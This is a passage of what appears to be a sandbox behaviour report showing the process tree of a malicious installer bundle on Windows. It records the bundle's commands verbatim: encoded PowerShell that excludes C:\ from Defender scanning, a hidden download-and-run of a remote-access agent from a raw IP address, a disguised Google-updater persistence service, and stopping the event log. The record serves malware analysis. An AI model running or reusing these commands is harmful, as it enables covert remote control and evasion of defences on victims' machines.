                                                                                                        4⤵
                                                                                                        • Power Settings
                                                                                                        PID:4308
                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                        4⤵
                                                                                                        • Power Settings
                                                                                                        PID:1040
                                                                                                      • C:\Windows\system32\dialer.exe
                                                                                                        C:\Windows\system32\dialer.exe
                                                                                                        4⤵
                                                                                                          PID:2272
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
                                                                                                          4⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:2984
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
                                                                                                          4⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:800
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          C:\Windows\system32\sc.exe stop eventlog
                                                                                                          4⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:5012
                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                          C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
                                                                                                          4⤵
                                                                                                          • Launches sc.exe
                                                                                                          PID:1636
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Install(4).exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Install(4).exe"
                                                                                                        3⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:1468
                                                                                                        • C:\Users\Admin\AppData\Roaming\Installer\jre\bin\javaw.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\Installer\jre\bin\javaw.exe" -Duser.language=en -Duser.country=US -Dfile.encoding=UTF-8 -classpath "lib\.;lib\..;lib\asm-all.jar;lib\dn-compiled-module.jar;lib\dn-php-sdk.jar;lib\gson.jar;lib\jphp-app-framework.jar;lib\jphp-core.jar;lib\jphp-desktop-ext.jar;lib\jphp-gui-ext.jar;lib\jphp-json-ext.jar;lib\jphp-runtime.jar;lib\jphp-xml-ext.jar;lib\jphp-zend-ext.jar;lib\jphp-zip-ext.jar;lib\slf4j-api.jar;lib\slf4j-simple.jar;lib\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
                                                                                                          4⤵
                                                                                                          • Executes dropped EXE
                                                                                                          • Loads dropped DLL
                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                          • Suspicious use of WriteProcessMemory
                                                                                                          PID:2332
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild""
                                                                                                            5⤵
                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:4652
                                                                                                            • C:\Windows\SysWOW64\chcp.com
                                                                                                              C:\Windows\System32\chcp.com 65001
                                                                                                              6⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              PID:2444
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild"
                                                                                                              6⤵
                                                                                                                PID:4528
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List | C:\Windows\System32\more.com"
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:3156
                                                                                                              • C:\Windows\SysWOW64\chcp.com
                                                                                                                C:\Windows\System32\chcp.com 866
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2272
                                                                                                              • C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1756
                                                                                                              • C:\Windows\SysWOW64\more.com
                                                                                                                C:\Windows\System32\more.com
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:4152
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List | C:\Windows\System32\more.com"
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:3524
                                                                                                              • C:\Windows\SysWOW64\chcp.com
                                                                                                                C:\Windows\System32\chcp.com 866
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2448
                                                                                                              • C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1468
                                                                                                              • C:\Windows\SysWOW64\more.com
                                                                                                                C:\Windows\System32\more.com
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3852
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List | C:\Windows\System32\more.com"
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4988
                                                                                                              • C:\Windows\SysWOW64\chcp.com
                                                                                                                C:\Windows\System32\chcp.com 866
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3536
                                                                                                              • C:\Windows\SysWOW64\wbem\WMIC.exe
                                                                                                                C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:4648
                                                                                                              • C:\Windows\SysWOW64\more.com
                                                                                                                C:\Windows\System32\more.com
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:4696
                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                              C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19""
                                                                                                              5⤵
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:4664
                                                                                                              • C:\Windows\SysWOW64\chcp.com
                                                                                                                C:\Windows\System32\chcp.com 65001
                                                                                                                6⤵
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:3248
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19"
                                                                                                                6⤵
                                                                                                                  PID:1196
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRm9yY2UgLUV4Y2x1c2lvblBhdGggIkM6XCI=')); Invoke-Expression $script}"
                                                                                                                5⤵
                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:2628
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  6⤵
                                                                                                                    PID:624
                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHVybCA9ICJodHRwOi8vNDYuOC4yMjcuMTYvdXBsb2Fkcy9tZXNoYWdlbnQzMi1tZXNoLnBuZyIKCiRvdXRwdXQgPSAiJGVudjpURU1QXG1lc2hhZ2VudDMyLW1lc2guZXhlIgoKSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdXJsIC1PdXRGaWxlICRvdXRwdXQKCmlmIChUZXN0LVBhdGggJG91dHB1dCkgewogICAgdHJ5IHsKICAgICAgICAkcHJvY2Vzc1N0YXJ0ID0gTmV3LU9iamVjdCBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc1N0YXJ0SW5mbwogICAgICAgICRwcm9jZXNzU3RhcnQuRmlsZU5hbWUgPSAkb3V0cHV0CiAgICAgICAgJHByb2Nlc3NTdGFydC5Bcmd1bWVudHMgPSAiLWZ1bGxpbnN0YWxsIgogICAgICAgICRwcm9jZXNzU3RhcnQuV2luZG93U3R5bGUgPSBbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3NXaW5kb3dTdHlsZV06OkhpZGRlbgogICAgICAgIFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzc106OlN0YXJ0KCRwcm9jZXNzU3RhcnQpCiAgICB9CiAgICBjYXRjaCB7CiAgICB9Cn0KZWxzZSB7CiAKfQ==')); Invoke-Expression $script}"
                                                                                                                  5⤵
                                                                                                                  • Blocklisted process makes network request
                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                  PID:3128
                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    6⤵
                                                                                                                      PID:1720
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\meshagent32-mesh.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\meshagent32-mesh.exe" -fullinstall
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:6108
                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                        7⤵
                                                                                                                          PID:5556
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a32ab69f77c0b699954b90cb84dabca5
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\a32ab69f77c0b699954b90cb84dabca5
                                                                                                                      5⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:4744
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a32ab69f77c0b699954b90cb84dabca5
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a32ab69f77c0b699954b90cb84dabca5"
                                                                                                                        6⤵
                                                                                                                          PID:5576
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5576 -s 1356
                                                                                                                            7⤵
                                                                                                                            • Program crash
                                                                                                                            PID:2272
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5576 -s 1376
                                                                                                                            7⤵
                                                                                                                            • Program crash
                                                                                                                            PID:3036
                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRm9yY2UgLUV4Y2x1c2lvblBhdGggIkM6XCI=')); Invoke-Expression $script}"
                                                                                                                        5⤵
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:1424
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\VPN_Unlimited_v9.3.2_64.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\VPN_Unlimited_v9.3.2_64.exe"
                                                                                                                    3⤵
                                                                                                                    • Executes dropped EXE
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                    PID:5080
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-P6PGS.tmp\VPN_Unlimited_v9.3.2_64.tmp
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-P6PGS.tmp\VPN_Unlimited_v9.3.2_64.tmp" /SL5="$901BE,103859173,936960,C:\Users\Admin\AppData\Local\Temp\VPN_Unlimited_v9.3.2_64.exe"
                                                                                                                      4⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      • Modifies registry class
                                                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                                                      PID:4768
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "cmd" /c "taskkill /IM WireVPNUImpl.exe /F"
                                                                                                                        5⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:628
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          6⤵
                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                          PID:1664
                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                          taskkill /IM WireVPNUImpl.exe /F
                                                                                                                          6⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:1160
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "cmd" /c "taskkill /IM vpn-unlimited.exe /F"
                                                                                                                        5⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:2852
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          6⤵
                                                                                                                            PID:2808
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /IM vpn-unlimited.exe /F
                                                                                                                            6⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:5088
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "cmd" /c "taskkill /IM vpn-unlimited-launcher.exe /F"
                                                                                                                          5⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:2032
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            6⤵
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:1756
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /IM vpn-unlimited-launcher.exe /F
                                                                                                                            6⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:964
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "cmd" /c "taskkill /IM vpn-unlimited-daemon.exe /F"
                                                                                                                          5⤵
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:864
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            6⤵
                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                            PID:4584
                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                            taskkill /IM vpn-unlimited-daemon.exe /F
                                                                                                                            6⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:2888
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 92
                                                                                                                              7⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Program crash
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              • Checks processor information in registry
                                                                                                                              • Enumerates system info in registry
                                                                                                                              PID:4040
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-JFEMB.tmp\VC_redist.x64.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-JFEMB.tmp\VC_redist.x64.exe" /install /quiet /norestart
                                                                                                                          5⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:1956
                                                                                                                          • C:\Windows\Temp\{89C18D32-D6C3-4330-A467-E30AB2ACED1E}\.cr\VC_redist.x64.exe
                                                                                                                            "C:\Windows\Temp\{89C18D32-D6C3-4330-A467-E30AB2ACED1E}\.cr\VC_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\is-JFEMB.tmp\VC_redist.x64.exe" -burn.filehandle.attached=724 -burn.filehandle.self=728 /install /quiet /norestart
                                                                                                                            6⤵
                                                                                                                            • Checks computer location settings
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:1256
                                                                                                                            • C:\Windows\Temp\{EFD9F19E-3118-4812-952D-3DDA554BA588}\.be\VC_redist.x64.exe
                                                                                                                              "C:\Windows\Temp\{EFD9F19E-3118-4812-952D-3DDA554BA588}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{6C2E67EE-226C-478D-A0FE-6759E7EF27A8} {E4EEE1B2-E834-486A-9681-45E71D07E37B} 1256
                                                                                                                              7⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                              PID:4648
                                                                                                                              • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
                                                                                                                                "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -uninstall -quiet -burn.related.upgrade -burn.ancestors={8bdfe669-9705-4184-9368-db9ce581e0e7} -burn.filehandle.self=1140 -burn.embedded BurnPipe.{67D12AAD-89BC-4752-A635-BC93BB8D8B52} {1DAC1AC4-FEA7-4ADF-A28E-C8A87723B15E} 4648
                                                                                                                                8⤵
                                                                                                                                  PID:5144
                                                                                                                                  • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
                                                                                                                                    "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -burn.filehandle.attached=576 -burn.filehandle.self=596 -uninstall -quiet -burn.related.upgrade -burn.ancestors={8bdfe669-9705-4184-9368-db9ce581e0e7} -burn.filehandle.self=1140 -burn.embedded BurnPipe.{67D12AAD-89BC-4752-A635-BC93BB8D8B52} {1DAC1AC4-FEA7-4ADF-A28E-C8A87723B15E} 4648
                                                                                                                                    9⤵
                                                                                                                                      PID:6024
                                                                                                                                      • C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe
                                                                                                                                        "C:\ProgramData\Package Cache\{57a73df6-4ba9-4c1d-bbbb-517289ff6c13}\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{84A4313E-8E2A-45AA-9D9E-9BEF00D27F73} {A9309FD9-760D-4B1F-A8AC-07BA15979D85} 6024
                                                                                                                                        10⤵
                                                                                                                                          PID:5376
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\system32\cmd.exe" /C ""C:\Users\Admin\AppData\Local\Temp\is-JFEMB.tmp\firewall_exception.bat" "C:\Program Files (x86)\VPN Unlimited\vpn-unlimited.exe" "C:\Program Files (x86)\VPN Unlimited\openvpn.exe""
                                                                                                                                5⤵
                                                                                                                                  PID:2112
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall delete rule name="VPN Unlimited"
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:3188
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall delete rule name="OpenVPN"
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:6020
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall add rule name="VPN Unlimited" dir=in action=allow program="C:\Program Files (x86)\VPN Unlimited\vpn-unlimited.exe" enable=yes
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:5812
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall add rule name="VPN Unlimited" dir=out action=allow program="C:\Program Files (x86)\VPN Unlimited\vpn-unlimited.exe" enable=yes
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:5748
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall add rule name="OpenVPN" dir=in action=allow program="C:\Program Files (x86)\VPN Unlimited\openvpn.exe" enable=yes
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:4744
                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                    netsh advfirewall firewall add rule name="OpenVPN" dir=out action=allow program="C:\Program Files (x86)\VPN Unlimited\openvpn.exe" enable=yes
                                                                                                                                    6⤵
                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                    PID:864
                                                                                                                                • C:\Program Files (x86)\VPN Unlimited\vpn-unlimited-daemon.exe
                                                                                                                                  "C:\Program Files (x86)\VPN Unlimited\vpn-unlimited-daemon.exe" -install
                                                                                                                                  5⤵
                                                                                                                                    PID:4668
                                                                                                                                  • C:\Program Files (x86)\VPN Unlimited\vpn-unlimited-daemon.exe
                                                                                                                                    "C:\Program Files (x86)\VPN Unlimited\vpn-unlimited-daemon.exe" -start
                                                                                                                                    5⤵
                                                                                                                                      PID:4856
                                                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                      "msiexec.exe" /uninstall "C:\Users\Admin\AppData\Local\Temp\is-JFEMB.tmp\TunSetupVPNU.msi" /quiet
                                                                                                                                      5⤵
                                                                                                                                        PID:2844
                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                        "C:\Windows\system32\sc.exe" create VPNUSplitTunnel type= kernel binPath= "C:\Program Files (x86)\VPN Unlimited\VpnuDriver\VpnuDriver.sys"
                                                                                                                                        5⤵
                                                                                                                                        • Launches sc.exe
                                                                                                                                        PID:5356
                                                                                                                                      • C:\Program Files (x86)\VPN Unlimited\vpnu-push.exe
                                                                                                                                        "C:\Program Files (x86)\VPN Unlimited\vpnu-push.exe" --only-create-shortcut
                                                                                                                                        5⤵
                                                                                                                                          PID:5184
                                                                                                                                        • C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe
                                                                                                                                          "C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe" /r remove =net *Wintun
                                                                                                                                          5⤵
                                                                                                                                            PID:4648
                                                                                                                                          • C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe
                                                                                                                                            "C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe" /r remove =net *WireGuard
                                                                                                                                            5⤵
                                                                                                                                              PID:264
                                                                                                                                            • C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe
                                                                                                                                              "C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe" remove tap0901
                                                                                                                                              5⤵
                                                                                                                                                PID:5632
                                                                                                                                              • C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe
                                                                                                                                                "C:\Program Files (x86)\VPN Unlimited\recovery\tap\x64\tapinstall.exe" install OemVista.inf tap0901
                                                                                                                                                5⤵
                                                                                                                                                  PID:5212
                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                          1⤵
                                                                                                                                            PID:3572
                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                            1⤵
                                                                                                                                              PID:3768
                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                              1⤵
                                                                                                                                              • Suspicious use of UnmapMainImage
                                                                                                                                              PID:3984
                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                              1⤵
                                                                                                                                                PID:3856
                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                1⤵
                                                                                                                                                  PID:740
                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                  1⤵
                                                                                                                                                    PID:3684
                                                                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                    1⤵
                                                                                                                                                      PID:2612
                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                      1⤵
                                                                                                                                                        PID:3488
                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                        1⤵
                                                                                                                                                          PID:448
                                                                                                                                                        • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                          C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                          1⤵
                                                                                                                                                            PID:4216
                                                                                                                                                          • C:\Windows\System32\svchost.exe
                                                                                                                                                            C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                            1⤵
                                                                                                                                                              PID:680
                                                                                                                                                            • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                              "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                              1⤵
                                                                                                                                                                PID:2528
                                                                                                                                                              • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:2132
                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3432
                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:3512
                                                                                                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:4164
                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:3508
                                                                                                                                                                        • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                          PID:1808
                                                                                                                                                                        • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                          C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:716
                                                                                                                                                                          • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                            C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Drops file in Drivers directory
                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                            • Drops file in System32 directory
